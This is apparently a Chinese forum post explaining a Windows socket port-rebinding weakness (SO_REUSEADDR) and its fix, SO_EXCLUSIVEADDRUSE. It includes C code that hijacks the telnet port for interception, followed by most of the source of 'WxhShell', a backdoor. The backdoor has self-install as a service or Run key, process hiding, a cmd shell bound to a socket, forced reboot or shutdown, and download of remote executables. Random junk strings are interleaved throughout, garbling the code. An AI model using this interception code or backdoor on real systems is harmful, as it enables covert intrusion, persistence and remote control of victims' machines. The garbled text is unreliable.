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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z85|I.mr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <y=ovkM3 PZOKrW saddr.sin_family = AF_INET; a(x?fa[D v3^|"}\q5 saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8Qrpa o ^Kq|ID
AP bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^eh/HnJs 1y[B[\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HOPqxI(k !:
us!s 这意味着什么?意味着可以进行如下的攻击: CZ=0mWfF Z9
w:&oa@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kX;$}7n ])T/sO#' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C1B'#F9EO j%tEZ"H 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JF9Hfs/jS e!0OW7kV 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 a6nlt?1?D 5Pke8K 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `wO}Hz nX[;^v/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZKdh%8C N}QFGX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [)|+F
wJ (B#(Z= #include dOXD{c #include =ApY9` #include Q7a(P #include k0ItG?Cv DWORD WINAPI ClientThread(LPVOID lpParam); *\ECf.7jz int main() 8wFn}lw& { P6Xp<^%E WORD wVersionRequested; fluGf DWORD ret; +/cgw, WSADATA wsaData; Gp|JU Fo BOOL val; gGfq6{9g SOCKADDR_IN saddr; +R\~3uj[7 SOCKADDR_IN scaddr; ,2zKQ2z int err; z`#_F}v,m/ SOCKET s; X;EJ&g/ SOCKET sc; |]ucHV int caddsize; )f*Iomp]@ HANDLE mt; h~UJCnzS DWORD tid; u0]q`u/T wVersionRequested = MAKEWORD( 2, 2 ); 04JT@s"o err = WSAStartup( wVersionRequested, &wsaData ); #7W.s!#}Dd if ( err != 0 ) { 2d&^Sp&11 printf("error!WSAStartup failed!\n"); }$aNOf%: return -1; ;`j U_ } p24.bLr saddr.sin_family = AF_INET; e'~ Q@_D pxplWP, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =K'L|QKF s[V`e2O saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >q9{ saddr.sin_port = htons(23); 0k1MKzi Q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MSY N1 { +by| printf("error!socket failed!\n"); !: |nI77| return -1; 8=4^Lm } fM:80bnL+ val = TRUE; ETelbj;0 //SO_REUSEADDR选项就是可以实现端口重绑定的 ^5x4 q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^!uO(B& { 2"M_sL printf("error!setsockopt failed!\n"); 3B#!2| return -1; 0/Q5d,'Y[2 } 'j#a%j@{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d*9j77C ] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [V5-%w^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CWMlZVG /v$]X4 S` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vKkf2 7 { zJ_My&~ ret=GetLastError(); =t.F2'<[Z printf("error!bind failed!\n"); L>:FGNf^H return -1; m X:bA5db } "1%*'B^}bw listen(s,2); cYD1~JX. while(1) n/-N;'2J { {6tx,; r(F caddsize = sizeof(scaddr); W-XN4:,qI //接受连接请求 8A_TIyh? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); llqDT-cp if(sc!=INVALID_SOCKET) V"g~q?@F { R `Q?J[e mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k4mTZ}6E if(mt==NULL) _z%\'(l+ { GfNWP printf("Thread Creat Failed!\n"); {~1M break; ?,V;f2c } Z@nmjj i } n}5x-SxS0 CloseHandle(mt); =U_@zDD@V } B>aEHb closesocket(s); HnK/A0jM WSACleanup(); dw99FA6 return 0; !Iko0#4i } p1?J DWORD WINAPI ClientThread(LPVOID lpParam) a;yV#Y { f>4+,@G SOCKET ss = (SOCKET)lpParam; ds')PIj SOCKET sc; b)y<.pS\ unsigned char buf[4096]; {4)5]62>u SOCKADDR_IN saddr; :z124Zf long num; |vT=Nnu DWORD val; +}Auk|>Dc DWORD ret; U)b&zZc; //如果是隐藏端口应用的话,可以在此处加一些判断 6(sfpK' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ugRV5bUk saddr.sin_family = AF_INET; 7t+]z) saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lDH_ Y]bM saddr.sin_port = htons(23); E =
^-Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n('VQ0b { EyPy*_A printf("error!socket failed!\n"); i&5!9m`Cw return -1; ~Gwas0eNa } rcW#6VZ= val = 100; yT 2vO_rH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "rf\' 9= { GMyoSe%1/ ret = GetLastError(); ua!D-0 return -1; m(h/:JZ\ } #Z#_!o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?({Pc F/ { B1HQz@^ ret = GetLastError(); >4#tkv>S. return -1; &a~L_`\' } 2/UI>@By if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P@-R5GK { #d$d&W~gE printf("error!socket connect failed!\n"); F^[M closesocket(sc); <w%DyRFw3 closesocket(ss); c|3h| return -1; 8L@UB6b\ } jCam,$oE while(1) &<#/&Pq/i { $)Jc-V
6E //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q=MCMe //如果是嗅探内容的话,可以再此处进行内容分析和记录
$o{F //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ` 3vN R" num = recv(ss,buf,4096,0); EgCp:L{ if(num>0) hE9'F(87a send(sc,buf,num,0); j(UX
6lR else if(num==0) m|(I} |kT3 break; vl>_e num = recv(sc,buf,4096,0); )3+xsn v if(num>0) m]
EDuW send(ss,buf,num,0); Vl&+/-V else if(num==0) he_HVRpB break; GR_p1 C\ } k-;.0!D^ closesocket(ss); gE-lM/w closesocket(sc); {Nzmb|& return 0 ; P]{B^,E } z[_R"+ Y+}OClS !#l0@3 ========================================================== ;e`D#khB VuP#b'g=|] 下边附上一个代码,,WXhSHELL HFpjNR k
QB 1=c ========================================================== U+I3 P &8IWDx.7} #include "stdafx.h" K[`4vsE -zkW\O[ #include <stdio.h> 4UkP:Vz: #include <string.h> ?Aj\1y4L1 #include <windows.h> )^V5*#69D #include <winsock2.h> E5v|SFD #include <winsvc.h> Q'>_59 #include <urlmon.h> hCSRsk3 W ??;4 #pragma comment (lib, "Ws2_32.lib") QYFN:XZ #pragma comment (lib, "urlmon.lib") *8pe<:A#p rHA/
#define MAX_USER 100 // 最大客户端连接数 v3iDh8.__ #define BUF_SOCK 200 // sock buffer KE }o #define KEY_BUFF 255 // 输入 buffer ]QjXh> "E4i >g #define REBOOT 0 // 重启 Q;{D8 #! #define SHUTDOWN 1 // 关机 9RbGa
Y& *q\HFI #define DEF_PORT 5000 // 监听端口 #khyy-B= >Rx8 0 #define REG_LEN 16 // 注册表键长度 =[v2 #define SVC_LEN 80 // NT服务名长度 B'P,?` CfazD??x // 从dll定义API h7Shl<f typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (2hk < typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WzNG<rG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R|cFpRe typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Sm~? zU[k/ ?];~N5<' // wxhshell配置信息 @k#z&@b struct WSCFG { q70YNk} int ws_port; // 监听端口 =1uj1.h char ws_passstr[REG_LEN]; // 口令 XACEt~y int ws_autoins; // 安装标记, 1=yes 0=no noB}p4 char ws_regname[REG_LEN]; // 注册表键名 iq[2H$ char ws_svcname[REG_LEN]; // 服务名 3P<Zzt%e T char ws_svcdisp[SVC_LEN]; // 服务显示名 oeRYyJ char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^OGH5@" char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QWIOim- int ws_downexe; // 下载执行标记, 1=yes 0=no e!L sc3@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Bm2}\KOI char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m+G0<E% %\s#e }; l[!C-Tq Hme@9(zD. // default Wxhshell configuration s$3eJ| struct WSCFG wscfg={DEF_PORT, R`<{W(J;r "xuhuanlingzhe", X/?h!Y} 1, ]pucv! "Wxhshell", y:(C=*^<t "Wxhshell", Qnu&GBM "WxhShell Service", R}K5'`[%ZY "Wrsky Windows CmdShell Service", p-i]l.mT5 "Please Input Your Password: ", LI5cUCl 1, Q& unA3 " http://www.wrsky.com/wxhshell.exe", /=O+/)l` "Wxhshell.exe" |M{,}.*CU }; tMs|UC hdNZ":1s // 消息定义模块 {)dEO0 p char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CI3_lWax% char *msg_ws_prompt="\n\r? for help\n\r#>"; )jQe K char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9FR1Bruf char *msg_ws_ext="\n\rExit."; JKu6+V jO char *msg_ws_end="\n\rQuit."; xhoLQD char *msg_ws_boot="\n\rReboot..."; qI/r_ char *msg_ws_poff="\n\rShutdown..."; $>*/']> char *msg_ws_down="\n\rSave to "; =S7C(;=4 i|! 9o: char *msg_ws_err="\n\rErr!"; bD^ob.c.A char *msg_ws_ok="\n\rOK!"; ObHz+qRG -<HvhW char ExeFile[MAX_PATH]; sN \}Q#:8 int nUser = 0; y0y;1N'KK HANDLE handles[MAX_USER]; SoON@h/ int OsIsNt; whp\*]8 =R8.QBVdN SERVICE_STATUS serviceStatus; /)OO)B-r SERVICE_STATUS_HANDLE hServiceStatusHandle; |$*9j""u $S-;M0G
x // 函数声明 o9SfWErZ int Install(void); Jj _+YfIM int Uninstall(void); {xb%P!o` int DownloadFile(char *sURL, SOCKET wsh); 2|H'j~ int Boot(int flag); Sy7^;/(ZZ void HideProc(void); ^=M(K '' int GetOsVer(void); %!/liS int Wxhshell(SOCKET wsl); Qmh(+-Mp( void TalkWithClient(void *cs); BE@H~<E J int CmdShell(SOCKET sock); 0JWD] " int StartFromService(void); IHX#BY> int StartWxhshell(LPSTR lpCmdLine); [tw<TV"\ Ku\#Wj|YrP VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @T=HcUP) VOID WINAPI NTServiceHandler( DWORD fdwControl ); nf@u7*#6 4!RI2?4V // 数据结构和表定义 38S&7>0@|q SERVICE_TABLE_ENTRY DispatchTable[] = K OHH74}_ { ,rPyXS9Sa{ {wscfg.ws_svcname, NTServiceMain}, G6ES] {NULL, NULL} ?d`+vHK]> }; c15^<6]g T#;*I#A: // 自我安装 i'LTKj int Install(void) #AnSjl { i(;u6Rk char svExeFile[MAX_PATH]; ?mUu(D:7D HKEY key; `r bqYU0 strcpy(svExeFile,ExeFile); D`ge3f8Wi QnAf A% // 如果是win9x系统,修改注册表设为自启动 j`pR;XL1[ if(!OsIsNt) { &\br_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P9chRy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )Ea_:C' RegCloseKey(key); 90v18k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _NW OSt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C)kQi2T RegCloseKey(key); tB?S0;yXjd return 0; 'a[|}nJ3 } 2g545r. } +Y[+2=lO } /Day5\Q# else { 6b)UoJxj /pN2Jst // 如果是NT以上系统,安装为系统服务 E cz"O
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3k0%H]wt if (schSCManager!=0) ;MI<J>s { `3n*4Lz SC_HANDLE schService = CreateService 1"6k5wrIA ( @zq{#7%z schSCManager, QYGxr+D wscfg.ws_svcname, sYgnH:t X wscfg.ws_svcdisp, JH;DVPX9z SERVICE_ALL_ACCESS, !AHm+C_=Lg SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %lmRe(M SERVICE_AUTO_START, +yI^<BH SERVICE_ERROR_NORMAL, g3 rFJc svExeFile, 3dphS ^X NULL, 7T Bo*-! NULL, cyE2= NULL, C^tC} n1D( NULL, _4]dPk#^ NULL l
d9#4D[# ); pwC/&bu if (schService!=0) l[| e3<H { mjHY-lK CloseServiceHandle(schService); A UV$ S2 CloseServiceHandle(schSCManager); ^w\uOd` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A6L}5#7- strcat(svExeFile,wscfg.ws_svcname); NR@Tj]`k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uHCgIR
l> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t}gqk' RegCloseKey(key); R<Tzt'z return 0; bb/MnhB } A'EA ! } <`q o*__1 CloseServiceHandle(schSCManager); .D`#a } C%>7mz-v5 } M(jH"u&f 4UkLvL1x return 1; /B7
GH5 } }6N|+z.cU x6tY _lzJ // 自我卸载 !W7ekPnK int Uninstall(void)
U8!njLC { Hd`RR3J HKEY key; eX@q'Zi Uo
,3 lMr if(!OsIsNt) { N!,l4!M\N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yv-uC}e RegDeleteValue(key,wscfg.ws_regname); k:xV[9ev: RegCloseKey(key); <i|+p1t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9=f'sqIPV RegDeleteValue(key,wscfg.ws_regname); Nj\WvKG RegCloseKey(key); =x}/q4}L return 0; `-\"p;Hp0 } -~k2Gy;E } s_TM!LRUcw } b1cd5 else { 1P_bG47 5
S&>9l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y;jyfc$
` if (schSCManager!=0) {Se93o { .Dmvgi] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /<Et if (schService!=0) *1n: { 8ic_|hfY if(DeleteService(schService)!=0) { /H%pOL6(r CloseServiceHandle(schService); QPEv@laM CloseServiceHandle(schSCManager); BKEB,K=K@ return 0; %9.KH } z-j \S7F CloseServiceHandle(schService); +h/$_5 } ijB,Q>TgO CloseServiceHandle(schSCManager); @:I/lg=Qd } M{QNpoM } HPQ ,tlp6j @\R)k(F return 1; ^-_!:7TH] } (XH)1 -Z! f@mM&e=f // 从指定url下载文件 {UN z UaE int DownloadFile(char *sURL, SOCKET wsh) 0^4*[?l9q { D 4wB
&~U HRESULT hr; 2H#vA char seps[]= "/"; /MC\!,K char *token; tWFJx}H char *file; "$&F]0 char myURL[MAX_PATH]; "<WSEs char myFILE[MAX_PATH]; ^ytd~iK8 $j/F7.S strcpy(myURL,sURL); : Ej IV]e token=strtok(myURL,seps); U
DG _APf while(token!=NULL) I}=}S"v { [% jg;m file=token; ZU|nKt<GK token=strtok(NULL,seps); i=4bY[y } h(sD] N cPXvTVvs GetCurrentDirectory(MAX_PATH,myFILE); iR-O6*PTC strcat(myFILE, "\\"); /%7eo?@, strcat(myFILE, file); u=[oo@Rk` send(wsh,myFILE,strlen(myFILE),0); (2(hl--'n send(wsh,"...",3,0); AN;?`AM; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WA/\x if(hr==S_OK) BhjXNf9[ return 0; ^:0?R/A else `3-j%H2R return 1; dXj.e4,m wK_}`6R/ } CHz(wn SZPu"O\ // 系统电源模块 tv2dyC&a int Boot(int flag) [Dhc9 { uP$K{ ) HANDLE hToken; b<8h\fR#' TOKEN_PRIVILEGES tkp; =
7?'S# m8?(.BJ% if(OsIsNt) { wg_Z!(Hr# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l;2bBx7vW LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'a}{s>{O tkp.PrivilegeCount = 1; Oq("E(z+f tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7\xa_nrI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xw%z#6l if(flag==REBOOT) {
-<sXvn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x>@UqUJV return 0; VtVnht1 } &~&i > else { -4]6tt'G if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]k8XLgJ return 0; #FcYJH } CeQcnJU } !>tXib]: else { .^uu*S_ if(flag==REBOOT) { (<CLftQKg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~(8A&!#,! return 0; 8C2t0u;Y
. } s|%</fMt9 else { SnqLF
/d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Cur)| return 0; ubLLhf } .28*vkH%C= } QWoEo k"Is.[I?^ return 1; =[WccF } gUMUh]j 25(\'484> // win9x进程隐藏模块 m0 P5a%D void HideProc(void) }fhVn;~}8 { 5s>9v MS b{ve_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =Yfs=+O if ( hKernel != NULL ) v=4TU\b% { }S&{ &gh pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W%P&o}' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^Ni)gm{?k FreeLibrary(hKernel); +$-a:zx`l } *+IUGR *M*k-Z':.* return; ^j`
vk } k@2gw]y" I#0.72:[ // 获取操作系统版本 Z-Uq89[HZ int GetOsVer(void) GgtL./m { WO{N@f^ OSVERSIONINFO winfo; T \A uL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4k#6)e GetVersionEx(&winfo); }vi%pfrB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C@[:}ZGMV return 1; __9673y else 8,R]R= return 0; *w _j; } _)|!.r&)63 ?Cws25G // 客户端句柄模块 $5A XE;~{ int Wxhshell(SOCKET wsl) vfj Ipg%i { L?P8/]DGp SOCKET wsh; Zy#r<j]T struct sockaddr_in client; i~2>kxf;K1 DWORD myID; t@ Jo ?0s ``SjALf while(nUser<MAX_USER) 7Ct m({I- { E,r PM int nSize=sizeof(client); )#Id2b~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Rpr#
,| if(wsh==INVALID_SOCKET) return 1; 'e&4#VLH^ FLWz7Rj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n Au>i< if(handles[nUser]==0) Rl(b tr1w closesocket(wsh); LDNpEX~ else Nwc(< nUser++; ij TtyTC } M *}$$Fe| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =_XcG!" 1#@'U90xf return 0; @@5u{K } `A'*x]l X#o:-FKf // 关闭 socket &K4o8Qz void CloseIt(SOCKET wsh) vhg4E80Kr { /Iskjcc60W closesocket(wsh); i.<}X nUser--; '%MIG88 ExitThread(0); ?{[H+hzz0 } wO"Q{oi+ n`hSn41A // 客户端请求句柄 F 6Ol5 void TalkWithClient(void *cs) k X-AC5] { ug{F?LW[ Oe#k| SOCKET wsh=(SOCKET)cs; 9qPP{K,Pq2 char pwd[SVC_LEN]; M|Se|*w char cmd[KEY_BUFF]; "~;jFB8 char chr[1]; r[lHYO int i,j; GwvxX&P J
h"]iN while (nUser < MAX_USER) { <HD/&4$[ u+V;r)J{ if(wscfg.ws_passstr) { c:iMbJOn# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v6rw. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <s:Xj //ZeroMemory(pwd,KEY_BUFF); HP8pEo0Y i=0; O+yR+aXr'8 while(i<SVC_LEN) { rB)WHx< uZ^i8;i // 设置超时 L`!sV-. fd_set FdRead; nMnc&8r struct timeval TimeOut; 9xz`V1mIL FD_ZERO(&FdRead); D^u{zZy@e FD_SET(wsh,&FdRead); F lZ]R TimeOut.tv_sec=8; 2.[qcs3zl TimeOut.tv_usec=0; spI{d!c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m&\Gz*)3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E,X,RM~
+D p-}:7CXP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4S=lO?\"A pwd =chr[0]; #Z.JOwi if(chr[0]==0xd || chr[0]==0xa) { }a`LOBne pwd=0; '-x%?Ll break; J0oR]eT} } ^"f i++; +2g3%c0} } zPXd]jIwV :JS}(
// 如果是非法用户,关闭 socket ^Nu} HcC+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (UM+?]Qwy } #i,O
"`4 v:>P;\]r9M send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `Ctj]t send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HlO+^(eX Ju\"l8[f while(1) { NX;&V7 '71btd1 ZeroMemory(cmd,KEY_BUFF); w7C=R8^ o#Y1Uamkf // 自动支持客户端 telnet标准 1Y`MJ\9 j=0; Ob+&!XTp?0 while(j<KEY_BUFF) { 9f@)EKBK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0(kp>%mbB cmd[j]=chr[0]; +u#x[xO if(chr[0]==0xa || chr[0]==0xd) { 7%'<}u cmd[j]=0; |RmBa'.)z break; ?m!FM:% } .jKO 6f j++; zk]~cG5dT/ } K?>&Mr }u&JX // 下载文件 usA!MMH4 if(strstr(cmd,"http://")) { L_~G`Rb3 send(wsh,msg_ws_down,strlen(msg_ws_down),0); "&%Hb's if(DownloadFile(cmd,wsh)) N7_Co;#(zK send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xx^c?6YM else jDnh/k0{d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kel {9b=i } AM[:Og S else { Ef!F;D e)A %F~
dmA#: switch(cmd[0]) { GyCpGP|AZ kr?|>6? // 帮助 A3n"zxU case '?': { -'(:Sq,4o send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (}:xs,Ax break; GZ={G2@=I } ".\(A f2 // 安装 |?>h$' case 'i': { tu'M YY if(Install()) >O _ send(wsh,msg_ws_err,strlen(msg_ws_err),0); X]!@xlwF\ else 8vo}
.JIl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); erqB/ C break; UO wNcY } !S:@x.n@iR // 卸载 IFY!3^;zO case 'r': { K"1J1>CHQ if(Uninstall()) kD>vQ? send(wsh,msg_ws_err,strlen(msg_ws_err),0); [wR8q,2
else @oEDtN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mAzW'Q4D break; d(!N$B\[5T } 2Kidbf // 显示 wxhshell 所在路径 <fJ\AP5 case 'p': { vpDs5tUl char svExeFile[MAX_PATH]; hG^23FiN strcpy(svExeFile,"\n\r"); 3Z0\I\E strcat(svExeFile,ExeFile); xpM~*Gpm send(wsh,svExeFile,strlen(svExeFile),0); )N<!3yOz break; >U)O@W) } J[l K // 重启 N;Hv B:c case 'b': { *"ShE=\p send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0u_'(Z-^2 if(Boot(REBOOT)) gUp0RPs send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Nn?G else { gm DC,"Y< closesocket(wsh); wu')Q/v ExitThread(0); d%hA~E1rR } m5Kx}H~ break; A=K1T]o } #"_MY- // 关机 i1
&'Zh case 'd': { .p`'^$X^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q4{ t H if(Boot(SHUTDOWN)) Fn,|J[sC send(wsh,msg_ws_err,strlen(msg_ws_err),0); GLyh1qNX else { ]_?y[@ZP closesocket(wsh); 67x^{u7 ExitThread(0); jH1~Ve+q9 } :X
f3wP= break; Vd4osBu{fY } ;"Y6&YP< // 获取shell #F@7>hd1 case 's': { M6iKl CmdShell(wsh); OT i3T1& closesocket(wsh); BP$#a
# ExitThread(0); "+&<Q d2 break; ;>N ~,Q } z3]U%y(, // 退出 639k&"V case 'x': { V{{x~Q9 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _3a
5/IZ CloseIt(wsh); 3iw9jhK!W break; j&.BbcE45 } Oe`t!&v // 离开 <Tf;p8# case 'q': { z7C1&bGe send(wsh,msg_ws_end,strlen(msg_ws_end),0); =*jcO119L closesocket(wsh); x3|'jmg WSACleanup(); DlI5} Jh exit(1); b`zf&Mn break; }c%y0)fL } ?C35 } T*yveo&j } sA}R! <h9\ A& // 提示信息 !$Z"\v'b if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \<**SSN } <J-Z;r(gQN } QEa=!O #1@~w}Dh return; VKz<7K\/ } UmX[=D| Oy$BR
<\ // shell模块句柄 avu,o int CmdShell(SOCKET sock) ;!?K.,N:N { o"[bIXf-h STARTUPINFO si; $:!T/*p* ZeroMemory(&si,sizeof(si)); }3w b*,Sbz si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E e>j7k.G. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &,]+> PROCESS_INFORMATION ProcessInfo; D|9fHMg% char cmdline[]="cmd"; dRm'$
G9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j*d~h$[k return 0; ^~ $& } -FV'%X$i _`>7
Q),7 // 自身启动模式 \*aLyyy3 int StartFromService(void) <|3v@ { /g'-*:a typedef struct <z2mNq { F*VMS DWORD ExitStatus; vp-7>Wj DWORD PebBaseAddress; [oLQd-+
DWORD AffinityMask; =hIT?Z6A DWORD BasePriority; ^]&{"! ULONG UniqueProcessId; I?Fa ULONG InheritedFromUniqueProcessId; +t4m\/y } PROCESS_BASIC_INFORMATION; DAHf&/JK vqMk)htIz PROCNTQSIP NtQueryInformationProcess; 5KE%@,k k M l?)Sc"\7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PRC)GP&q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; es+_]:7B9 B@inH]wq HANDLE hProcess; wS*CcIwj PROCESS_BASIC_INFORMATION pbi; cu!bg+,zl O'|P| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ks2%F&\cE if(NULL == hInst ) return 0; %C0O?q pm@Z[g g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x*8f3^ wE g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E(kpK5h{ 